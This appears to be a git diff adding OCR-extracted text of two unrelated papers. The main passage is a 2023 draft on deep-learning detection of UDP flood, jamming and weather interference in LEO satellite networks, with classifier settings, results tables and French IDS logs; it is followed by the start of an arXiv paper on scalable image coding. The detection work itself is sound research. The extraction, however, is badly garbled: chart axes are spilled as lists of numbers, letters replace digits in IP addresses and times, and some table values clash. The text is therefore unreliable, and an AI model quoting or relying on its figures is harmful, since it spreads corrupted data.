+1) Dataset with binary classes: The classes «Normal» & «Rain and Thunderstorms» are considered
+as a single class which represents the benign flow, and the two classes «UDP Flood attack» &
+«Jamming attack» are considered attack flows. Fig.8 and Fig.9 demonstrate these distributions.
+Fig. 8: Flow breakdown of
+«SATCOM.LEO.NDBPO.#1»
+Fig. 9: Flow breakdown of
+«SATCOM.LEO.NDBPO.#2»
+DRAFT
+January 11, 2023
+
++1e-9
++1e-8
++1e-7
++1e-6
++1e-5
++1e-4
++0.001
++0.01
++0.1
++1
++10
++100
++1000
++1e4sec
+Zoom:0.62x
+Event+,Time
+Src/Dest
+Name
+LInfo
+#112260.178097633932
+EndUser[17]
+satellite[1
+UDP:19.11.18.100.5555>
+19.11.15.100.2000:（295)
+IPV4:
+#11236.178189675287
+satellite[1
+EndUser[17
+wlan-ack
+WLAN
+ack 0A-AA-00-00-00-14
+RADI0 from （1100,450,0）on 2400MHz
+ch=17,
+duration=o.
+#11247.178521675287
+satellite[1
+EndUser[17]
+UDPBasicAppData-1cPacket:287bytes
+UDP:19.11.18.100.5555>19.11.15.100.2000:（295)
+IPv4:19.11.18.100>1
+#112550.178610155609
+satellite[o]
+EndUser[5]UDPBasicAppData-1cPacket:584bytes
+UDP:19.10.1.105.5555>19.10.1.108.2000:(592)
+IPv4:19.10.1.105>19.10
+#112550.178610155609
+satellite[o]
+JamCraft UDPBasicAppData-1 cPacket:584 bytes
+UDP:19.10.1.105.5555>19.10.1.108.2000:(592)
+IPv4:19.10.1.105>19.10.1
+#112590.178707343666
+satellite[]
+EndUser[14]
+arpREPLY
+ARPreply:19.11.15.100=0A-AA-00-00-00-11 (d=19.11.
+#112850.179192675287
+satellite[]
+EndUser[17
+UDPBasicAppData-1cPacket:287bytes
+UDP:19.11.18.10Q.F
+Content of the file
+#11288 0.179214717377
+satellite[o]
+Enduser[8
+TCMD
+h-hia
+10101Attack
+25.7%
+74.3%
+NormalAttack
+31.9%
+68.1%
+Normal19
+2) Multi-class dataset: Each class has its own label. Fig.10 and Fig.11 demonstrate the flow
+breakdown by class.
+Fig. 10: Flow breakdown* of
+«SATCOM.LEO.NDBPO.#1»
+Fig. 11: Flow breakdown* of
+«SATCOM.LEO.NDBPO.#2»
+Figs.12 and 13 show more distribution details of normal and abnormal flows of the three
+interruption
+types.
+Both
+datasets
+can
+be
+found
+at
+https://github.com/NacereddineSitouah/Interruption LEO SAT master.
+Fig. 12: Flow breakdown** of
+«SATCOM.LEO.NDBPO.#1»
+Fig. 13: Flow breakdown** of
+«SATCOM.LEO.NDBPO.#2»
+January 11, 2023
+DRAFT
+
+Jamming_attack
+Rain_andThunderstorms
+2.6%
+14.8%
+Normal
+59.5%
+23.1%
+UDP_Flood_attackJamming_ attack
+Rain and Thunderstorms
+4.9%
+17.6%
+50.6%
+Normal
+27.0%
+UDP_ Flood_attackUDP_Flood_attack
+Jamming_attack
+Rain_ and ThunderstormsUDP flood attack
+Jamming_attack
+Normal traffic
+Attack traffic
+Rain and Thunderstorms20
+V. Performance evaluation of the proposed model
+In this section, we apply the following algorithms for binary and multi-class classifications: MLP,
+CNN, RNN, GRU, and LSTM.
+We use Anaconda v4.10.1[52] which is a python v3.8.5 distribution that includes several data-science
+libraries. We also use the Pytorch [53] library, which is one of the best for machine learning. For
+programming and building models we use Jupyter Notebook [54]and VS Code v1.41.1 [55].
+Classifiers parameters : Tab.V contains the various parameters used in the classification models that
+had the best performances. The selection procedure was performed by setting multiple parameters
+and then altering them one by one until the optimal parameters were found. For all models we find
+that ReLU, Softmax and the value 0.003 were the best as activation function, output activation
+function and learning rate respectively, we also used the value 0 as dropout rate through all models.
+TABLE V: Deep learning classifier’s parameters
+Dataset
+SAT-COM.LEO.NDBPO.#1
+SAT-COM.LEO.NDBPO.#2
+MLP
+Input size
+19
+14
+Number of hidden layers
+2
+4
+Number of neurons - hidden layer 1
+350
+64
+Number of neurons - hidden layer 2
+400
+140
+Number of neurons - hidden layer 3
+/
+200
+Number of neurons - hidden layer 4
+/
+32
+Number of epochs
+50
+200
+Batch size
+1
+300
+Loss Function
+Negative Log Likelihood Loss
+Cross Entropy Loss
+Optimizer algorithm
+Stochastic Gradient Descent
+Optimizer
+adaptive moment estimation
+(Adam)
+«C» = RNN / LSTM / GRU
+Input size
+19
+14
+Number of layers «C»
+3
+2
+Hidden projection layer size (dimension)
+132
+132
+Activation function
+Tanh
+Tanh
+Number of epochs (RNN)
+50
+800
+Number of epochs (GRU)
+50
+200
+Number of epochs (LSTM)
+50
+100
+Batch size
+1
+600
+Loss Function
+Negative Log Likelihood Loss
+Negative Log Likelihood Loss
+Optimizer algorithm
+Stochastic Gradient Descent
+Optimizer
+Stochastic Gradient Descent
+Optimizer
+CNN
+Input size
+18 (3*6)
+/
+Number of convolutional layer
+3
+/
+Number of convolutional neuron - conv layer 1
+8
+/
+Kernel size / stride / padding - conv layer 1
+(3x3) / 1 / 1
+/
+Kernel size / stride - Pooling layer 1
+(1x1) [no effect] / 1
+/
+DRAFT
+January 11, 2023
+
+21
+Number of convolutional neuron- conv layer 2
+12
+/
+Kernel size / stride / padding - conv layer 2
+(3x3) / 1 / 1
+/
+Kernel size / stride - Pooling layer 2
+(1x1) [no effect] / 1
+/
+Number of convolutional neuron - conv layer 3
+18
+/
+Kernel size / stride / padding - conv layer 3
+(3x3) / 1 / 1
+/
+Kernel size / stride - Pooling layer 3
+(1x1) [no effect] / 1
+/
+Number of fully connected layers
+2
+/
+Number of neurons - hidden layer 1
+350
+/
+Number of neurons - hidden layer 2
+400
+/
+Number of epocs
+50
+/
+Batch size
+1
+/
+Loss function
+Negative Log Likelihood Loss
+/
+Optimizer algorithm
+Stochastic Gradient Descent
+Optimizer
+/
+A. Binary classification
+Fig.14
+shows
+the
+training
+loss
+and
+validation
+loss
+over
+time
+for
+binary
+classification
+of «SATCOM.LEO.NDBPO.#1», overall, there is always a sharp drop in the beginning epochs of
+learning for both losses in all models, this indicates that all the models perform very well during
+at the start, then the learning stops after about ten or twenty epochs, and this is either a sign of
+a local optimum trap, or that the best parameters were found. In addition, we observe that the
+RNN model starts overfitting on the training data since the training loss starts decreasing rapidly
+but validation loss maintain almost the same level, that is why this model performs the worst.
+The CNN model seems to have reached its peak after the first decade of epochs.
+Fig. 14: Training and validation loss for the binary classification on «SAT-COM.LEO.NDBPO.#1»
+Fig.15 illustrates the graphs for the «SATCOM.LEO.NDBPO.#2» dataset, it shows that almost all
+January 11, 2023
+DRAFT
+
+100
+1.00
+1
+Training loss
+0.75 
+0.75 
+Validation loss
+0.50
+0.50
+0.25
+0.25 
+Loss
+0.00 
+CNN
+0.00
+MLP
+0.25
+0.25
+0.25 
+10
+0.50
+0.50
+Epoch
+0.75
+0.75
+1.00
+1.00
+10
+20
+30 
+40
+50
+10
+02
+30
+40
+50 
+1.00
+1.00
+1.00
+0.75
+0.75 
+0.75 
+0.50 
+0.50 
+0.50
+0.25 
+0.25
+0.00 
+RNN
+0.00
+GRU
+0.00
+LSTM
+0.25
+0.25
+0.25
+0.50
+0.50
+0.50
+0.75
+0.75
+0.75
+1.00
+0
+10
+20
+OE
+40
+50 
+1.00
+0
+10
+20
+OE
+40
+50
+1.00
+0
+10 
+20 
+30
+40
+5022
+the models had similar performances after training, where GRU and LSTM had a better success in
+learning, while the other two algorithms RNN and MLP clearly show sign of overfitting after 500
+and 100 epochs, respectively.
+Fig. 15: Training and validation loss for the binary classification on «SAT-COM.LEO.NDBPO.#2»
+Tab.VI summarizes the final performance results of each model, the LSTM model appears to
+perform best with a false positive rate of 0.014% and a false negative rate of 0.008%. However,
+the CNN model also performs well, but with a false negative rate of 0% is not very optimal when
+the false positive rate is relatively large 0.2%, because the false positives themselves will be a
+new source of disturbance in the network. In addition, the training and execution times are very
+long which makes the model difficult to update, especially considering that the overall
+performance of this model is the least-performing one. For this reason, we eliminate CNN model
+from the detection experiments on the second dataset. Tab.VII represents the confusion table for
+binary detection.
+TABLE VI: Performance results for binary classification
+Dataset
+SAT-COM.LEO.NDBPO.#1
+SAT-COM.LEO.NDBPO.#2
+Algorithm
+MLP
+CNN
+RNN
+GRU
+LSTM
+MLP
+RNN
+GRU
+LSTM
+Accuracy
+99.91%
+99.85%
+99.78%
+99.83%
+99.98%
+95.35%
+95.26%
+96.12%
+95.78%
+Precision
+99.67%
+99.46%
+99.21%
+99.4%
+99.96%
+93.52%
+93.54%
+93.39%
+93.56%
+Recall
+99.99%
+100%
+99.98%
+99.99%
+99.99%
+93.86%
+93.61%
+96%
+94.98%
+Sum of probabilities
+99.91%
+99.95%
+99.84%
+99.86%
+99.92%
+98.14%
+98.61%
+98.3%
+98.26%
+Training time per epoch
+381.5s
+1474s
+401.9s
+382.3s
+396.5s
+40.5s
+32.15s
+82.33s
+115.8s
+Execution time
+67.85s
+166.42s
+136.45s
+124s
+134.39s
+394.5s
+136.45s
+287.45s
+272.65s
+DRAFT
+January 11, 2023
+
+1.00
+1.00
+0.75
+0.75
+Training loss
+Validation loss
+0.50
+0.50
+0.25 
+0.25
+0.00 
+RNN
+0.00
+MLP
+Loss
+0.25 
+0.25
+0.25
+0.50
+0.50
+10 
+0.75
+0.75
+Epoch
+1.00
+0
+100
+200
+OOE
+400
+500
+600
+700
+800
+1.00
+0
+25
+50
+75
+100 
+125
+150
+175
+200
+1.00
+1.00
+0.75
+0.75
+0.50 
+0.50
+0.25
+0.25
+0.00
+GRU
+0.00 
+LSTM
+0.25
+0.25
+0.50
+0.50
+0.75
+0.75
+1.00
+1.00
+0
+25
+0S
+75
+100
+125
+150
+175
+200
+0
+40
+60
+80
+10023
+TABLE VII: Table de confusion - Classification binaire
+Algorithm
+MLP
+CNN
+RNN
+GRU
+LSTM
+Dataset
+Class
+Normal
+Attack
+Normal
+Attack
+Normal
+Attack
+Normal
+Attack
+Normal
+Attack
+D-Set#1
+Normal
+99.87%
+0.01%
+99.79%
+0%
+99.69%
+0.02%
+99.76%
+0.01%
+99.985%
+0.009%
+Attack
+0.13%
+99.99%
+0.21%
+100%
+0.3%
+99.98%
+0.23%
+99.99%
+0.01%
+99.99%
+D-Set#2
+Normal
+96.35%
+6.54%
+/
+/
+96.36%
+6.82%
+96.27%
+4.17%
+96.35%
+5.26%
+Attack
+3.65%
+93.46%
+/
+/
+3.64%
+93.18%
+3.73%
+95.83%
+3.65%
+94.71%
+B. Multi-class classification
+Fig.16 represents the loss graph for the dataset «SAT-COM.LEO.NDBPO.#1» in multiclass
+classification. The CNN graph looks very unstable, inconsistent and doesn’t converge smoothly.
+In spite of that, RNN and LSTM reach their peak since both graphs remain steady after few
+epochs. On the other hand MLP and GRU seem to perform well and can even continue learning
+if granted more training epochs.
+Fig. 16: Training and validation loss for the multiclass classification on «SAT-COM.LEO.NDBPO.#1»
+Fig.17 shows results for «SAT-COM.LEO.NDBPO.#2», we can see that there is no over-fitting for
+all models, we also observe that the decrease in the losses is smoother until they stabilize when
+the models reach their peaks.
+Tab.VIII summarizes the final performance of each model for the multiclass classification. MLP
+outperforms other algorithms with a false positives rate of 0.02% and a false negatives rate of 0.02%
+as well. RNN had a false positives rate and false negatives of 0% since all false classifications were
+classified as udp flood attack. The CNN confirms that it does not adapt well to the detection
+of interruptions in the networks. The table shows for the second dataset, that MLP performs
+January 11, 2023
+DRAFT
+
+1.00
+1.00
+1
+Training loss
+0.75
+0.75
+Validation loss
+0.50
+0.50
+0.25
+0.25
+0.00
+CNN
+0.00
+MLP
+Loss
+0.25
+0.25
+0.25
+0.50
+0.50
+10
+Epoch
+0.75
+0.75
+1.00
+1.00
+0
+10
+20
+30
+40
+50 
+10
+20
+OE
+40
+50
+1.00
+1.00
+1.00
+0.75
+0.75 
+0.75
+0.50
+0.50 
+0.50
+0.25
+0.25
+0.25
+0.00
+RNN
+0.00 
+GRU
+0.00
+LSTM
+0.25
+0.25
+0.25
+0.50
+0.50 
+0.50
+0.75
+0.75 
+0.75
+1.00
+10
+20
+30
+50
+1.00
+0
+10
+20
+30
+40
+50 
+1.00
+0
+10
+20
+30
+40
+50 24
+Fig. 17: Training and validation loss for the multiclass classification on «SAT-COM.LEO.NDBPO.#2»
+better, mainly due to the relatively low false positives rate. The performance shown in Table 4.11
+indicates that MLP performs better, mainly due to the relatively low false positive rate (12,25 %)
+TABLE VIII: Performance results for multiclass classification
+Dataset
+SAT-COM.LEO.NDBPO.#1
+SAT-COM.LEO.NDBPO.#2
+Algorithm
+MLP
+CNN
+RNN
+GRU
+LSTM
+MLP
+RNN
+GRU
+LSTM
+Accuracy
+99.33%
+97.32%
+96.02%
+98.69%
+98.72%
+90.94%
+94.35%
+94.35%
+94.35%
+Precision
+99.98%
+99.9%
+100%
+99.84%
+99.59%
+87.75%
+85.94%
+85.94%
+85.94%
+Recall
+99.98%
+99.9%
+100%
+100%
+99.99%
+71.39%
+100%
+100%
+100%
+Sum of probabilities
+99.7%
+99.07%
+99.94%
+99.82%
+99.65%
+99.66%
+99.48%
+99.55%
+99.12%
+Training time per epoch
+404.54s
+1770.6s
+367.32s
+382.69s
+414.62s
+31.77s
+26.89s
+77.18s
+119.93s
+Execution time
+104.88s
+157.95s
+130.29s
+129.72s
+138.55s
+414.95s
+238.18s
+276.46s
+372.82s
+From Tab.IX, we can deduce that the most efficient models to minimize the false positives rate
+are MLP and GRU with the optimizer algorithm «Adam». More precisely MLP is ideal for the
+detection of «DDoS UDP» attacks despite the low detection rate which is 83 %, because detecting
+certain attack packets is sufficient to detect malicious communications. On the other hand, the
+GRU is more efficient at detecting jamming attacks because less false positives are classified with
+Jamming attack category.
+DRAFT
+January 11, 2023
+
+1.00
+1.00
+0.75 
+0.75 
+Training loss
+0S'0
+0.50 
+Validation loss
+0.25 
+0.25 
+0.00
+RNN
+0.00 
+MLP
+Loss
+0.25 
+0.25
+0.25
+0.50 
+0.50
+10 
+0.75 
+0.75 
+Epoch
+1.00
+0
+25
+05
+75
+100
+125
+150
+175
+00Z
+1.00
+n
+25
+50
+100
+125
+150
+175
+200
+1.00
+1.00
+0.75
+0.75
+0.50 
+0.50 
+0.25 
+0.25
+0.00 
+GRU
+00'0
+LSTM
+0.25
+0.25
+0.50
+0.50
+0.75
+0.75
+1.00
+0
+25
+50
+75
+100
+125
+150
+175
+200
+1.00
+25
+50
+75
+100
+125
+150
+175
+20025
+TABLE IX: Confusion table - Classification multiclass
+Algorithm
+MLP
+RNN
+Dataset
+Class
+Normal
+UDP
+Flood
+Rain
+Thunder
+Jamming
+Normal
+UDP
+Flood
+Rain
+Thunder
+Jamming
+Dataset#1
+Normal
+98.82%
+0.02%
+0%
+0%
+92.95%
+0%
+0%
+0%
+UDP
+Flood
+0%
+99.98%
+0%
+0%
+0%
+100%
+0%
+0%
+Rain
+Thunder
+1.16%
+0%
+100%
+0%
+7.05%
+0%
+100%
+0%
+Jamming
+0.0099%
+0%
+0%
+100%
+0%
+0%
+0%
+100%
+Dataset#2
+Normal
+93.7%
+93.7%
+0%
+0%
+89.659%
+0%
+0%
+0%
+UDP
+Flood
+0.0006%
+83.54%
+0%
+0.0065%
+4.0913%
+100%
+0%
+0%
+Rain
+Thunder
+0%
+0%
+100%
+0%
+0%
+0%
+100%
+0%
+Jamming
+6.294%
+0%
+0%
+99.993%
+6.2494%
+0%
+0%
+100%
+Algorithm
+GRU
+LSTM
+Dataset
+Class
+Normal
+UDP
+Flood
+Rain
+Thunder
+Jamming
+Normal
+UDP
+Flood
+Rain
+Thunder
+Jamming
+Dataset#1
+Normal
+97.68%
+0%
+0%
+0%
+97.73%
+0.0084%
+0.022%
+0%
+UDP
+Flood
+0.033%
+100%
+0%
+0%
+0%
+99.99%
+0%
+0%
+Rain
+Thunder
+2.24%
+0%
+100%
+0%
+2.065%
+99.71%
+99.98%
+0%
+Jamming
+0.043%
+0%
+0%
+100%
+0.2%
+0%
+0%
+100%
+Dataset#2
+Normal
+92.58%
+0%
+0%
+1.142%
+89.66%
+0%
+0%
+0%
+UDP
+Flood
+4.14%
+100%
+0%
+0%
+4.09%
+100%
+0%
+0%
+Rain
+Thunder
+0%
+0%
+100%
+0%
+0%
+0%
+100%
+0%
+Jamming
+3.441%
+0%
+0%
+98.85%
+6.2494%
+0%
+0%
+100%
+January 11, 2023
+DRAFT
+
+26
+C. Realtime detection
+To perform the real-time detection, we programmed another sniffer that captures the traffic for
+a given period of time, and at the end of each period the sniffer executes a code that processes the
+captured packets, loads the models and launches the process of attack detection with the captured
+traffic. The discovery procedure is performed without interrupting the continuous capture of the
+network.
+We program a real-time IDS which operates in two modes.
+1) Normal Mode: In this mode, we try to eliminate false positives completely at the price of losing
+some precision. i.e our IDS does not try to decide for each suspect packet if it is malicious or
+victim, but it only detects anomalies in a communication flow. 2) Safe mode: In this mode, the
+IDS detects as many suspicious packets as possible, and does not give as much importance to false
+positives as to false negatives. This model should be implemented passively, and it should never
+be a proactive system as it will alert on many false positives.
+For real-time simulation, we take the pcap file generated with Omnet++ and we reproduce the
+traffic using Tcpreplay. We also use the extracted information from the simulation on the SNIR
+and on the THROUGHPUT of the satellite during communication, since these two features are
+available and can be calculated in all wireless networks. The detection process does not differ too
+much from offline detection, a continuous discovery captures packets and processes them in very
+short periods of time. To minimize the false positive rate, the «Normal» mode detection is as
+follows:
+• UDP Flood: Throws alert if both of the following conditions are true:
+- 20% minimum of captured traffic is classified as a «flood» attack.
+- At least 70% of a captured flow is a «flood» class attack.
+• Natural Phenomenons: Throws alert if both of the following conditions are true:
+- A maximum of 10% of the captured traffic is classified as a «Rain and Thunderstorms» attack.
+- 20% of a captured stream is affected by «Natural interference».
+• Jammed traffic: Throws alert if both of the following conditions are true:
+- A maximum of 20% of captured traffic is classified as a «Network Jamming» attack.
+- 90% minimum of a captured traffic is affected by «Network Jamming».
+The IDS in action: In the following we show a comparison of detection in «Normal» mode and
+in «safe» mode for the three existing classes. The IDS is executed with a period of 30 seconds.
+The results for the first 2 minutes are as follows:
+DRAFT
+January 11, 2023
+
+27
+For benign traffic, the Normal mode do not trigger any alert for all the three attacks.
+Furthermore, in Safe mode no alert has been triggered for the Rain and Thunderstorms class,
+but on the other hand, for Jamming and UDP Flood class, several alerts are launched, the
+normal traffic classified as flood attack is on average between 2% and 6%, while for normal
+packets classified as victims of jamming attacks is between 21% and 28%. The results of
+detection in both modes for the malicious flood traffic shows that no packet is misclassified
+as a victim of natural interference, while a small flow composing 0.1% is miss-classified as a
+jamming victim, all malicious flows of flood attacks seem to be well classified. Fig.18 illustrates
+an example of the flood attacks detection in Normal mode.
+Fig. 18: Behavior of IDS in «Normal» mode against malicious ”UDP Flood”.
+For traffic affected by natural phenomena events, results in both modes are 100% accurate,
+although in Safe mode, 0.46% of a normal flow, that translates to about 0.04% of the total
+traffic captured, is falsely classified as affected. Same goes for the detection of jamming traffic in
+Normal mode, the malicious traffic is successfully detected, but on the other hand in Safe mode,
+two flows are detected and classified as UDP Flood and Rain and Thunderstorms with 12.69%
+and 67.42% of total flow of the two classes respectively, as presented is Fig.19.
+January 11, 2023
+DRAFT
+
+reniflersur linterface
+ens33
+Jamming
+Detection entre
+13:05:37et
+13:06:07
+Attaque par Flood
+Flux entre 19.10.1.107
+et
+19.1o.1.254 avec un pourcentagede 96.94%du flux
+22.oo % du trafic capture
+Flux entre 19.1o.1.108 et
+19.1o.1.254 avec un pourcentage de 84.27% duflux
+19.72 % du traficcapture
+Flux entre 19.10.1.106 et
+19.1o.1.254 avec unpourcentage de74.2o%duflux
+16.58 % du traficcapture
+Detection entre : 13:o5:37 et
+13:06:07 :Aucun utilisateur affecte"
+Brouillage naturel
+Jamming
+Detection entre : 13:06:37 et
+13:07:07
+Detection entre :13:o6:37et
+13:o7:o7:Aucun utilisateur affecte"
+Brouillage naturel
+Attague parFlood
+Flux entre 19.10.1.107
+et
+19.10.1.254 avec un pourcentage de100.00% du flux
+22.67
+% du traficcapture
+Flux entre19.10.1.106 et 19.10.1.254 avecun pourcentage de 100.00%duflux
+22.43 % du traficcapture
+Flux entre 19.1o.1.1o8 et 19.10.1.254 avec un pourcentagede 1oo.0o% du flux
+23.67 % du traficcapture
+Jamming
+Detection entre : 13:o7:37 et
+13:08:07
+Flux entre 19.1o.1.1o1et19.11.16.1oo avecun pourcentage de 6.63% du flux(0.10 % du trafic capture)
+Detection entre : 13:07:37 et 13:08:07 :Aucun utilisateur affecte 
+Brouillagenaturel28
+Fig. 19: Behavior of IDS in «Safe» against « Jamming » Attacks.
+VI. Conclusion and future work
+An interruption detection method is proposed for LEO satellite networks based on Deep
+Learning in this paper. We have studied the various vulnerabilities and risks that threaten the
+operation and fluidity of Satellite communications. This work focuses on disruption threats of
+different types, such as flood attacks, network jamming attacks and natural phenomena events
+(such as rains, thunderstorms and hurricanes). Several deep learning based interruption
+detection models are proposed on two of our own generated datasets, including models based on
+MLP, CNN, RNN, GRU and LSTM. We have also provided performance assessment for binary
+and
+multi-class
+classifications.
+The
+best
+recorded
+accuracy
+on
+the
+dataset
+SATCOM.LEO.NDBPO.#1 is 99.987% for binary traffic detection and 99.33% for multiclass
+traffic
+detection
+with
+a
+minimum
+false
+positive
+rate
+of
+0.0144%.
+For
+the
+dataset
+SATCOM.LEO.NDBPO.#2, the best recorded accuracy is 96.12% for the detection in binary
+classification and 94.35% for multiclass classification with a minimum false positives rate of
+3.72% using a hybrid model composed of MLP and GRU. Enhancing this hybrid model with
+some statistical constraints also improves detection results and decreases false positives rate to
+almost 0%, at the cost of losing some accuracy precision. In conclusion, the results shows that
+this approach is effective for both offline and online interruption attacks detection, based on
+accuracy rate, detection rate, and prediction speed. This helps to demonstrate that Deep
+Learning algorithms could very well improve the security of satellite networks, especially against
+DDoS attacks. As future work, and under better circumstances such as, more computing power
+and memory resources, this work can be continued by implementing the DTN (Delay/Disruption
+Tolerant Networking) protocol from NaSa [56]which, according to NaSa, is perhaps the future of
+satellite communication. This protocol is currently being tested and improved. Different deep
+learning methods can can have better accuracy rate by involving terrestrial satellite terminals in
+DRAFT
+January 11, 2023
+
+Avertissement :
+Attaque par Flood (mode safe)
+Detection entre :17:39:10 et
+17:4o:10 Flux entre 19.10o.1.101 et 19.11.19.10o avec un pourcentage de 12.69% du flux (1.8o % du trafic capture)
+Detection entre : 17:39:10 et
+17:40:10
+Avertissement:
+Brouillage Naturel (mode safe)
+Detection entre :17:39:10 et
+17:40:10 Flux entre 19.10.1.108 et 19.10.1.105 avec un pourcentage de 67.42% du flux( 9.57 % du trafic capture)
+Jamming
+Detection entre :17:39:10 et
+17:40:10 Flux entre 19.10.1.101 et 19.11.19.100 avec un pourcentage de 100.00% du flux (14.19 % du trafic capture)
+Jamming
+Detection entre : 17:40:11 et
+17:41:11 Flux entre 19.10.1.101 et 19.11.19.10o avec un pourcentage de 100.00% du flux
+（6.40 %dutrafic capture)
+Detection entre : 17:40:11 et
+17:41:11 Flux entre 19.10.1.101 et 19.11.16.10o avec un pourcentage de 100.00% du flux
+（4.66%du traficcapture)
+Detection entre : 17:4o:11 et
+17:41:11Fluxentre19.10.1.102 et 19.10.1.106 avec un pourcentage de100.00% duflux
+（4.24 %du traficcapture
+Detection entre :17:41:11 et
+17:42:11:Aucune attaque"
+Flood (Inondation)
+Jamming
+Detection entre :17:41:11 et
+17:42:11 Flux entre 19.10.1.1o1 et 19.11.19.1o0 avecun pourcentage de 1oo.0o%du flux
+(5.3o % dutraficcapture)
+Detection entre :17:41:11 et
+17:42:11 Flux entre 19.1o.1.1o2 et 19.10.1.106 avec un pourcentagede 1oo.0o% du flux
+(5.17%du trafic capture)
+Detection entre
+17:41:11 et
+17:42:11 Flux entre
+19.10.1.101
+19.11.16.1oo avec un pourcentage de 1oo.oo% du flux
+5.44 % du trafic capture29
+the detection process, such as FL (Federated learning) [57] to protect users privacy and enable
+their contributions to learning, combined with DAEs and other promising models such as
+Bi-LSTM to speed up turnaround time.
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+dataset to detect distributed denial of service attacks on Vehicular Ad hoc NETwork systems»
+March 4, 2021, College of Computer Science and Information Technology, Imam Abdulrahman
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+[50] https://omnet-manual.com/omnet-installation/
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+/directorates/heo/scan/engineering/technology/disruption tolerant networking.
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+Mary
+Mammen.
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+Learning:
+Opportunities
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+Challenges»,
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+//arxiv.org/pdf/2101.05428.pdf.
+[58] OS3 framework
+https://omnetpp.org/download-items/OS3.html
+January 11, 2023
+DRAFT
+

.gitattributes

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@@ -0,0 +1,653 @@
+Learned Disentangled Latent Representations for Scalable
+Image Coding for Humans and Machines
+Ezgi ¨Ozyılkan1,†,∗, Mateen Ulhaq1,‡,∗, Hyomin Choi∗, and Fabien Racap´e∗
+†Dept. of Electrical and Computer Engineering, New York University
+‡School of Engineering Science, Simon Fraser University
+∗ InterDigital - Emerging Technologies Lab
+eo2135@nyu.edu, mulhaq@sfu.ca, {hyomin.choi, fabien.racape}@interdigital.com
+Abstract
+As an increasing amount of image and video content will be analyzed by machines, there is
+demand for a new codec paradigm that is capable of compressing visual input primarily for
+the purpose of computer vision inference, while secondarily supporting input reconstruction.
+In this work, we propose a learned compression architecture that can be used to build such
+a codec. We introduce a novel variational formulation that explicitly takes feature data
+relevant to the desired inference task as input at the encoder side. As such, our learned
+scalable image codec encodes and transmits two disentangled latent representations for
+object detection and input reconstruction. We note that compared to relevant benchmarks,
+our proposed scheme yields a more compact latent representation that is specialized for the
+inference task. Our experiments show that our proposed system achieves a bit rate savings
+of 40.6% on the primary object detection task compared to the current state-of-the-art,
+albeit with some degradation in performance for the secondary input reconstruction task.
+1
+Introduction
+It is projected that an increasing amount of captured visual content will be ana-
+lyzed by machines in order to conduct vision analytics (e.g., object detection, image
+classification, segmentation), instead of being solely viewed by humans [1]. Since re-
+cent advances in artificial intelligence using deep neural networks (DNNs) necessitate
+heavy computational resource usage, such machine analytics tasks may need to be
+offloaded to a remote server. For example, low-end devices on the Internet of Things
+(IoT) record a significant amount of visual content that needs to be transmitted to a
+remote server to be analyzed and/or stored. To address the heavy communication re-
+quirements of such systems, new compression schemes and standards activities such
+as MPEG Video Coding for Machines (VCM) [2] have emerged, and have become
+attractive areas of research in recent years.
+At the same time, DNN-aided data-driven image compression algorithms [3, 4]
+have attracted considerable research interest as they outperform the rate-distortion
+(RD) performance of off-the-shelf image codecs such as JPEG2000 [5] and HEVC
+Intra coding [6] across various experimental setups. Such DNN-based compression
+approaches are typically optimized for mean squared error (MSE) and/or multi-scale
+1Contributed equally to this work.
+This work was done while E. ¨Ozyılkan and M. Ulhaq were interns at InterDigital.
+arXiv:2301.04183v1  [eess.IV]  10 Jan 2023
+
+(a)
+(b)
+(c)
+Figure 1: Various methods to separate information into task-relevant data for multiple tasks in
+a scalable manner. The data separation is achieved by (a) generating feature data s alongside a
+residual r = x− ˜x which encodes the error in the decoder-side reconstruction ˜x of the original input
+x, (b) transforming x with a single learned encoder, and (c) transforming x and s with two learned
+encoders into two latent representations {y1, y2}. Dotted lines denote the decoder operations.
+structural similarity index (MS-SSIM) [7], which are used as distortion metrics be-
+tween the original and reconstructed images within the loss function. Moreover, in
+the case of DNN-based compression models targeting a machine vision task, the dis-
+tortion metric is simply replaced with a task-specific loss, as in [8,9]. More recently,
+the studies in [10, 11] present DNN-based scalable compression frameworks that si-
+multaneously support multiple tasks through scalable bitstreams sent to the decoder.
+For example, in [11], the base layer bitstream is transmitted to the decoder for the ob-
+ject detection task, and the enhancement layer bitstream is additionally transmitted
+only when the reconstruction of input images is required. To optimize the compres-
+sion performance of such a scalable system, the compression model must learn how
+to separate the information into different parts necessary for each task without any
+significant overlap.
+In this work, we propose a two-task scalable image codec with a new variational
+formulation alternative to the current state-of-the-art proposed in [11]. Our scalable
+codec provides a base layer supporting a machine vision task, with significant gains
+in RD-performance compared to relevant benchmarks, and an enhancement layer
+supporting an input reconstruction task. In Section 2, we briefly summarize the most
+relevant prior work. Our proposed method is then described in detail in Section 3,
+followed by comprehensive experimental results with various configurations of our
+model detailed in Section 4.
+Furthermore, in Section 5, we present an in-depth
+comparison of our model with the most relevant benchmark from an information-
+theoretic perspective. Finally, in Section 6 we conclude on the analyzed approaches
+and suggest possible future research directions.
+2
+Related Work
+Different approaches have been explored in the literature in order to build codecs that
+separate the information into multiple parts associated with corresponding end tasks,
+some of which are shown in Fig. 1. For example, Yan et al. [10] adopts a scheme
+shown in Fig. 1(a) in which the feature representation s, designated for a vision task,
+is extracted from the input x with a learned transform, in order to be consecutively
+compressed and transmitted to the decoder. Therefore, at the decoder, s is used as an
+input to a computer vision network. Additionally, an estimate of the input ˜x can be
+
+r
+ry2
+→
+S
+y1-
+y2
+y1
+SFigure 2: VAE-style compression model for our proposed method with latent-space scalability.
+determined from s using an auxiliary module. Using this estimate, an encoder may
+also compress and transmit a residual r = x− ˜x. At the decoder side, r may be used
+in conjunction with the previously transmitted s in order to reconstruct the input x.
+However, in this scheme, the optimality of r with respect to the image reconstruction
+task depends on how well ˜x can be reconstructed from the feature representation s.
+Choi et al. [11] introduce a latent-space scalable codec based on the Cheng et
+al. [4] architecture. As shown in Fig. 1(b), a single learned transform in the encoder
+maps the input x into a latent space consisting of two learned latent representations
+y1 and y2. To carry out the machine vision task at the decoder side, y1 is subse-
+quently fed into another learned transform, referred to as latent-space transform, in
+order to obtain an estimate of s, which will be used as an input to a computer vision
+network. For the input reconstruction task, both latent representations y1 and y2 are
+concatenated and used as input to a pixel reconstruction decoder. In order to ensure
+that there is no loss in compression efficiency when coding y1 and y2 separately, the
+aforementioned latent representations should be maximally independent of one an-
+other. Thus, a model should ideally be trained to minimize the information-theoretic
+mutual information (MI) [12] quantity I(y1; y2). Although works such as [13] pro-
+pose methods for estimating MI, it is well-known that estimating MI is especially
+challenging for high dimensional variables.
+In this study, we explore an alternative framework by introducing s as an ad-
+ditional input to a learned transform in the encoder, as shown in Fig. 1(c). This
